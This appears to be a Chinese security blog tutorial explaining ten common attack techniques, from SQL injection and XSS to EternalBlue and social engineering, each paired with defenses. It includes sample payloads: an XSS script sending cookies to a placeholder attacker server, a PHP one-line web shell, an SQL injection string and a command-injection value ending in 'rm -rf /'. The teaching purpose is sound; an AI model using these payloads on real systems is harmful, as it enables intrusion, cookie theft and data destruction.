在网络安全领域,了解黑客的攻击手段是构建有效防御体系的前提。无论是企业安全运维人员,还是普通互联网用户,掌握常见攻击的核心逻辑,都能大幅降低被攻击的风险。本文将拆解黑客最常用的十大攻击手段,从技术原理、攻击流程到防御方案进行系统性分析,帮助读者建立 “知攻知防” 的安全认知。
一、SQL 注入:最 “经典” 的数据库攻击手段
SQL 注入是 Web 安全领域最悠久且危害极大的攻击手段之一,据 OWASP 统计,其常年位居 “Web 应用高危漏洞 TOP3”,核心原因是用户输入未经过滤直接拼接进 SQL 语句,导致黑客可通过构造恶意输入控制数据库操作。
1. 攻击原理
当 Web 应用将用户输入(如登录框的 “用户名”“ID 参数”)直接嵌入 SQL 查询语句时,黑客可通过输入特殊字符(如'、or 1=1#)篡改 SQL 语句逻辑。例如:
-
正常查询:
SELECT * FROM user WHERE username='张三' AND password='123' -
注入后:
SELECT * FROM user WHERE username='' or 1=1# ' AND password='123'其中#注释掉后续内容,or 1=1使条件恒真,黑客无需正确密码即可登录。
2. 攻击流程

3. 典型危害
- 拖库:获取整个数据库的用户账号、密码(通常以 MD5 加密存储,可通过彩虹表破解);
- 篡改数据:如修改电商订单金额、篡改网站内容(植入黑链);
- 服务器控制:通过
xp_cmdshell(SQL Server)等扩展存储过程执行系统命令,获取服务器权限。
4. 防御方案
- 参数化查询:使用预编译 SQL 语句(如 Java 的 PreparedStatement、PHP 的 PDO),将用户输入作为 “参数” 而非 “语句一部分”;
- 输入过滤:过滤
'、or、union等特殊字符与关键词,避免恶意输入拼接; - 最小权限原则:数据库账号仅授予 “查询” 权限,禁止
drop、alter等高危操作,杜绝破坏性操作。
二、跨站脚本(XSS):“劫持” 用户会话的隐形攻击
XSS(Cross-Site Scripting)攻击的核心是将恶意 JavaScript 脚本注入到 Web 页面中,当用户访问页面时,脚本在用户浏览器中执行,实现窃取 Cookie、钓鱼等目的。根据注入方式不同,XSS 可分为存储型、反射型、DOM 型三类。
1. 攻击原理与分类
| 类型 | 注入位置 | 触发方式 | 典型场景 |
|---|---|---|---|
| 存储型 XSS | 数据库(如评论、留言) | 用户访问包含脚本的页面 | 论坛评论区、电商评价区 |
| 反射型 XSS | URL 参数、表单提交内容 | 用户点击含脚本的 URL | 搜索框、登录失败提示 |
| DOM 型 XSS | 页面 DOM 元素(如 URL hash) | 脚本通过 DOM 操作注入 | 单页应用(SPA)的路由参数 |
例如,黑客在论坛评论区输入<script>document.location.href='http://黑客服务器?cookie='+document.cookie</script>,该脚本会被存储到数据库,其他用户访问评论页时,脚本会将其 Cookie 发送到黑客服务器,黑客可利用 Cookie 冒充用户登录。
2. 典型危害
- 会话劫持:窃取用户 Cookie,冒充身份访问后台(如网银、电商账号);
- 钓鱼攻击:在页面中植入伪造的登录框,骗取用户账号密码;
- 恶意操作:通过脚本自动执行操作(如发送垃圾消息、转账申请)。
3. 防御方案
- 输入输出编码:对用户输入的
<、>、"等特殊字符进行 HTML 编码(如<转义为<),避免脚本被解析; - 启用 CSP(内容安全策略):通过 HTTP 响应头
Content-Security-Policy限制脚本加载源(如仅允许加载自家域名的脚本),阻止恶意脚本执行; - Cookie 安全属性:为 Cookie 设置
HttpOnly(禁止 JavaScript 读取)、Secure(仅 HTTPS 传输)、SameSite(限制跨站发送)属性。
三、文件上传漏洞:“getshell” 的核心入口
文件上传漏洞是黑客获取服务器权限的 “捷径”,当 Web 应用未对上传文件的类型、内容进行严格校验时,黑客可上传包含恶意代码的文件(如 PHP 木马、ASP 脚本),通过访问文件执行代码,最终控制服务器。
1. 攻击原理
多数 Web 应用(如论坛头像上传、文档分享)允许用户上传文件,若仅通过 “文件后缀名” 或 “Content-Type” 判断文件合法性,黑客可通过以下方式绕过:
- 后缀名绕过:将
malicious.php改名为malicious.jpg.php,利用服务器解析漏洞(如 IIS 的 “解析顺序” 漏洞)执行; - MIME 类型绕过:通过 Burp Suite 修改 HTTP 请求中的
Content-Type(如将application/x-php改为image/jpeg),欺骗服务器认为是图片文件; - 内容伪装:在 PHP 木马文件头部添加图片文件头(如
GIF89a),绕过 “文件内容头校验”。
2. 攻击流程

例如,黑客将 PHP 木马<?php @eval($_POST['cmd']);?>嵌入图片文件(生成 “图片马”),上传到服务器后,通过访问http://目标域名/upload/malicious.jpg,使用工具(如蚁剑、菜刀)连接木马,即可像操作本地电脑一样控制服务器(如查看文件、执行命令)。
3. 防御方案
- 文件类型白名单:仅允许上传指定类型(如
jpg、png、pdf),禁止php、asp、jsp等可执行后缀; - 文件内容校验:通过文件头(如
jpg的FFD8FF)、图片尺寸检测等验证文件真实性,避免 “伪装文件”; - 存储路径隔离:将上传文件存储到非 Web 访问目录,或通过脚本动态读取文件(而非直接访问),避免代码执行;
- 禁用脚本解析:在上传目录配置 Web 服务器(如 Nginx),禁止解析脚本(如添加
location ~* \.(php|asp)$ { deny all; })。
四、CSRF:跨站请求伪造
CSRF(Cross-Site Request Forgery)攻击利用用户的 “已登录状态”,诱导用户点击恶意链接或访问恶意页面,触发跨站请求,执行黑客预设的操作(如转账、修改密码),核心是 “利用用户身份执行未授权操作”。
1. 攻击原理
假设某银行的 “转账接口” 仅通过 Cookie 验证用户身份,且请求参数可预测(如http://bank.com/transfer?to=黑客账号&amount=10000),黑客可通过以下步骤攻击:
- 构造转账请求链接,嵌入到恶意邮件或论坛帖子中;
- 用户登录银行账号后,点击该链接;
- 浏览器携带用户的银行 Cookie 发送转账请求,银行服务器验证 Cookie 有效,执行转账操作。
由于请求是从用户浏览器发起的,服务器无法区分 “用户主动操作” 和 “黑客伪造请求”。
2. 典型场景
- 账户操作:修改密码、绑定手机、转账汇款;
- 数据篡改:删除博客文章、修改订单状态;
- 权限提升:为黑客账号添加管理员权限。
3. 防御方案
- 添加 Token 验证:在表单或请求中加入随机生成的 “CSRF Token”,服务器验证 Token 有效性(仅当前用户会话的 Token 有效);
- Referer 校验:验证请求的
Referer头(记录请求来源页面),仅允许来自本站的请求; - 多因素认证:对于高危操作(如转账),要求输入验证码、短信验证或 U 盾,避免单一 Cookie 验证的风险。
五、命令注入:“借壳” 执行系统命令
命令注入漏洞通常出现在需要调用系统命令的功能中(如 ping 测试、文件备份),当用户输入被直接拼接进系统命令时,黑客可通过特殊符号(如&、|、;)分隔命令,执行额外的恶意操作。
1. 攻击原理
例如,某网络监控平台提供 “ping 测试” 功能,后台代码为:
import os
ip = input("请输入IP地址:")
os.system(f"ping -c 4 {ip}") # 直接拼接用户输入
若黑客输入8.8.8.8 & rm -rf /,则实际执行的命令为ping -c 4 8.8.8.8 & rm -rf /,其中&表示 “同时执行两个命令”,rm -rf /会删除服务器所有文件,造成毁灭性后果。
2. 常见触发点
- 网络工具:ping、traceroute、nslookup;
- 文件操作:文件删除、备份、压缩(如调用
tar、zip命令); - 第三方工具:调用
ffmpeg处理视频、convert处理图片时的参数注入。
3. 防御方案
- 命令白名单:仅允许执行预设的命令(如仅允许
ping,禁止rm、ssh等高危命令); - 参数隔离:使用 “命令 + 参数” 分离的 API(如 Python 的
subprocess模块的args参数),避免输入直接拼接; - 输入过滤:禁止
&、|、;、>等特殊符号,限制输入仅为合法格式(如 IP 地址仅允许数字和.)。
六、SSRF:服务器端请求伪造
SSRF(Server-Side Request Forgery)攻击利用 “服务器可发起请求” 的特性,诱导服务器向黑客指定的地址(尤其是内网地址)发送请求,实现访问内网资源、探测内网拓扑或攻击内网服务的目的。
1. 攻击原理
部分 Web 应用需要从服务器端发起请求(如 “URL 预览”“远程图片下载”),若请求地址由用户控制且未过滤,黑客可构造内网地址(如192.168.1.1、127.0.0.1),让服务器代替自己访问内网服务。例如:
- 某网站提供 “远程图片下载” 功能,用户输入图片 URL 后,服务器下载图片并展示;
- 黑客输入
http://192.168.1.100:8080(内网管理后台地址),服务器会访问该地址并返回响应; - 黑客通过服务器返回的响应,获取内网后台的登录页面,甚至暴力破解账号密码。
2. 典型危害
- 内网探测:获取内网 IP 段、开放端口、运行的服务(如数据库、管理后台);
- 内网攻击:利用内网服务漏洞(如 Redis 未授权访问、Jenkins 弱口令)控制内网机器;
- 数据泄露:访问内网敏感接口(如数据库备份接口),获取敏感数据。
3. 防御方案
- 地址白名单:仅允许服务器请求预设的合法地址(如仅允许
https://img.xxx.com等图片域名); - 禁止内网地址:过滤
192.168.0.0/16、10.0.0.0/8、127.0.0.1等内网网段; - 限制请求协议与端口:仅允许
http/https协议,禁止ftp、gopher等协议;限制端口为 80、443,禁止 22(SSH)、3306(MySQL)等敏感端口。
七、逻辑漏洞:“钻业务规则的空子”
逻辑漏洞是因业务流程设计缺陷导致的攻击手段,与 SQL 注入、XSS 等 “技术型漏洞” 不同,它不依赖代码缺陷,而是利用业务规则的漏洞(如支付流程、权限控制)实现攻击,隐蔽性极强,工具难以扫描发现。
1. 常见类型与案例
| 漏洞类型 | 原理 | 典型案例 |
|---|---|---|
| 支付金额篡改 | 前端提交金额未后端校验 | 电商下单时,通过 Burp 修改 “amount” 参数为 0.01 元购买 1000 元商品 |
| 越权访问 | 仅前端判断权限,后端未校验 | 修改 URL 中的 “user_id” 参数,查看其他用户的订单、个人信息 |
| 验证码绕过 | 验证码有效期过长 / 可重复使用 | 注册账号时,获取一次验证码后,重复提交该验证码注册多个账号 |
| 密码重置逻辑缺陷 | 重置链接未绑定用户 / 有效期过长 | 黑客获取他人的密码重置链接后,可无限次使用该链接修改密码 |
例如,某外卖平台的 “满减优惠” 逻辑为 “满 100 减 30”,黑客通过 “拆分订单 + 合并支付” 的方式,先下单 100 元商品(享受满减后实付 70 元),再在支付前添加 100 元商品,最终支付金额仍为 70 元,相当于以 70 元购买 200 元商品。
2. 防御方案
- 业务逻辑审计:梳理核心流程(支付、登录、权限控制),检查 “前端校验是否同步后端”“参数是否可篡改”“流程是否存在断点”;
- 多端校验:关键参数(如金额、用户 ID)必须在后端重新校验,禁止仅依赖前端判断;
- 异常监控:对高频异常操作(如短时间内多次修改订单金额、异地重置密码)触发告警,人工介入核查。
八、暴力破解:“枚举” 账号密码的笨办法
暴力破解(Brute-force Attack)是最直接的攻击手段,通过枚举 “用户名 + 密码” 的组合,尝试登录系统,核心依赖 “字典(常用账号密码列表)” 和 “自动化工具”,适用于弱密码、无账号锁定机制的系统。
1. 攻击方式
- 字典攻击:使用预设字典(如包含 “123456”“admin@123” 等常用密码)批量尝试;
- 组合攻击:按规则生成密码(如 “用户名 + 生日”“字母 + 数字组合”);
- 撞库攻击:利用其他平台泄露的账号密码(如某网站数据泄露后,黑客用该账号密码尝试登录其他平台)。
工具方面,黑客常用 Hydra(支持 SSH、FTP、Web 登录等多协议)、Burp Suite Intruder(Web 登录暴力破解)、社工库(存储泄露账号密码的数据库)提升破解效率。
2. 典型危害
- 账号被盗:获取管理员、普通用户账号,窃取数据或进行恶意操作;
- 服务器入侵:通过 SSH、RDP(远程桌面)暴力破解获取服务器权限;
- 资源滥用:利用破解的账号发送垃圾邮件、挖矿、发起 DDoS 攻击。
3. 防御方案
- 账号锁定机制:连续输错 3-5 次密码后,锁定账号 15-30 分钟,或要求验证码解锁;
- 密码复杂度要求:强制密码长度≥8 位,包含大小写字母、数字、特殊符号,禁止 “123456”“admin” 等弱密码;
- 多因素认证(MFA):登录时除账号密码外,需额外验证(如短信验证码、谷歌验证器、U 盾),即使密码泄露也无法登录;
- 异常登录监控:对异地登录、陌生设备登录触发告警,要求用户确认。
九、永恒之蓝(EternalBlue):内网渗透的 “利器”
永恒之蓝是 NSA(美国国家安全局)泄露的漏洞利用工具,针对 Windows 系统的 SMB 协议(文件共享协议)漏洞(CVE-2017-0144),可远程执行代码,是黑客进行内网横向渗透的核心手段,曾导致 “WannaCry 勒索病毒” 全球爆发。
1. 攻击原理
SMB 协议用于 Windows 设备间的文件、打印机共享,永恒之蓝利用 SMBv1 协议的 “缓冲区溢出” 漏洞,向目标服务器发送恶意数据包,触发内存溢出并执行 shellcode(恶意代码),最终获取系统权限(通常为 System 权限,最高权限)。
2. 攻击流程

3. 防御方案
- 紧急补丁:安装微软发布的漏洞补丁(KB4013389),彻底修复 SMBv1 漏洞;
- 关闭 SMBv1 协议:在 Windows 服务中禁用 SMBv1(仅保留 SMBv2/v3),避免漏洞被利用;
- 内网分段:将内网划分为不同区域(如办公区、服务器区),限制区域间的访问,防止漏洞扩散;
- 部署入侵检测系统(IDS/IPS):监控网络中的永恒之蓝特征数据包(如特定端口 445 的异常流量),及时阻断攻击。
十、社会工程学:“攻击人的漏洞”
社会工程学是最 “特殊” 的攻击手段,它不依赖技术漏洞,而是利用人的心理弱点(如信任、恐惧、疏忽)获取敏感信息,成功率极高,且难以通过技术手段防御。
1. 常见手段
- 钓鱼邮件:伪装成银行、公司 HR 或服务商(如 “腾讯安全中心”),发送包含恶意链接或附件的邮件,诱导用户点击(如 “您的账号存在风险,点击链接验证”);
- pretexting( pretexting):编造虚假身份(如 “IT 运维人员”“快递员”),通过电话或即时通讯工具获取信息(如 “需要您的电脑 IP 地址排查故障”);
- 肩窥(Shoulder Surfing):在公共场合(如网吧、咖啡厅),通过窥视用户输入获取账号密码;
- dumpster Diving( dumpster diving):翻找企业垃圾桶,获取包含敏感信息的文件(如员工名片、未粉碎的报表)。
2. 防御方案
- 安全意识培训:定期对员工进行社会工程学攻击案例培训,提升对钓鱼邮件、陌生电话的警惕性;
- 信息脱敏:禁止在公共场合、网络平台泄露敏感信息(如员工工号、服务器地址);
- 流程规范:制定严格的信息获取流程(如 IT 运维人员需通过内部系统验证身份,禁止电话索要密码);
- 多因素认证:即使敏感信息被获取,多因素认证仍能阻止黑客登录账号。
总结:防御的核心逻辑
黑客的十大攻击手段虽各有不同,但防御的核心可归纳为三点:
- 技术层面:通过参数化查询、CSP、白名单等技术手段,堵上代码与配置漏洞;
- 流程层面:梳理业务逻辑、规范操作流程,避免因设计缺陷留下逻辑漏洞;
- 人员层面:提升安全意识,让 “人” 成为防御体系的最后一道防线,而非薄弱环节。
网络安全的本质是 “攻防对抗”,只有持续了解黑客的攻击手段,动态优化防御策略,才能在日益复杂的网络环境中保障数据与系统安全。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



2万+

被折叠的 条评论
为什么被折叠?



